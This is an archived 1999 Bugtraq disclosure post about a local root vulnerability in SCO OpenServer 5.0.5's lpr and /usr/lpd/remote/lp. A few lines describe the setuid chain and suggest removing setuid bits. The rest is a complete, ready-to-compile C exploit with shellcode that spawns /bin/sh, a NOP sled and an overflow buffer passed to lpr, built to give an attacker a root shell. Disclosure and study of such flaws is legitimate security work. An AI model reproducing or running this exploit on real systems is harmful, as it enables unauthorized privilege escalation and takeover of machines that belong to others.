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 Date: Ср, 15 сен 1999  03:06:27

   От: Brock Tellier <btellier@WEBLEY.COM>

 Кому: BUGTRAQ@SECURITYFOCUS.COM

 Тема: SCO 5.0.5 lpr local root exploit

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Greetings,



There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr.  Or more

accurately, /usr/lpd/remote/lp, which lpr execs and passes your command

line args on to.  This means that while /usr/bin/lpr is sgid lp, we'll

still get a rootshell because /usr/lpd/remote/lp is suid root/sgid

daemon.  I haven't looked into the remote angle of this exploit, though

the pathname is hardly encouraging.



FIX: I would recommend a recursive directory sbit-search-and-destroy if

you're running SCO..



-Brock



--- cut ---



/*

 * sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell

 * Tested on SCO 5.0.5+Skunkware98

 *

 *  Compile gcc -o sco_lpr sco_lpr.c

 *   sco_lpr <offset> <bufsiz>

 *

 *   -Brock Tellier btellier@webley.com

 */





#include <stdlib.h>

#include <stdio.h>



char scoshell[]= /* doble@iname.com */

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"

"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"

"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";





#define LEN 3000

#define NOP 0x90



unsigned long get_sp(void) {



__asm__("movl %esp, %eax");



}





int main(int argc, char *argv[]) {



long int offset=0;



int i;

int buflen = LEN;

long int addr;

char buf[LEN];



 if(argc > 3) {

  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);

 exit(0);

 }

 else if (argc == 2){

   offset=atoi(argv[1]);



 }

 else if (argc == 3) {

  buflen=atoi(argv[2]);



 }

 else {

   offset=1800;

   buflen=1500;



 }





addr=get_sp();



fprintf(stderr, "SCO 5.0.5 lpr exploit\n");

fprintf(stderr, "Brock Tellier btellier@webley.com\n");

fprintf(stderr, "Using addr: 0x%x\n", addr+offset);



memset(buf,NOP,buflen);

memcpy(buf+(buflen/2),scoshell,strlen(scoshell));

for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)

 *(int *)&buf[i]=addr+offset;



execl("/usr/bin/lpr", "lpr", "-o", buf,  NULL);



exit(0);

}

--- cut ---

Brock Tellier

UNIX Systems Administrator

Webley Systems

www.webley.com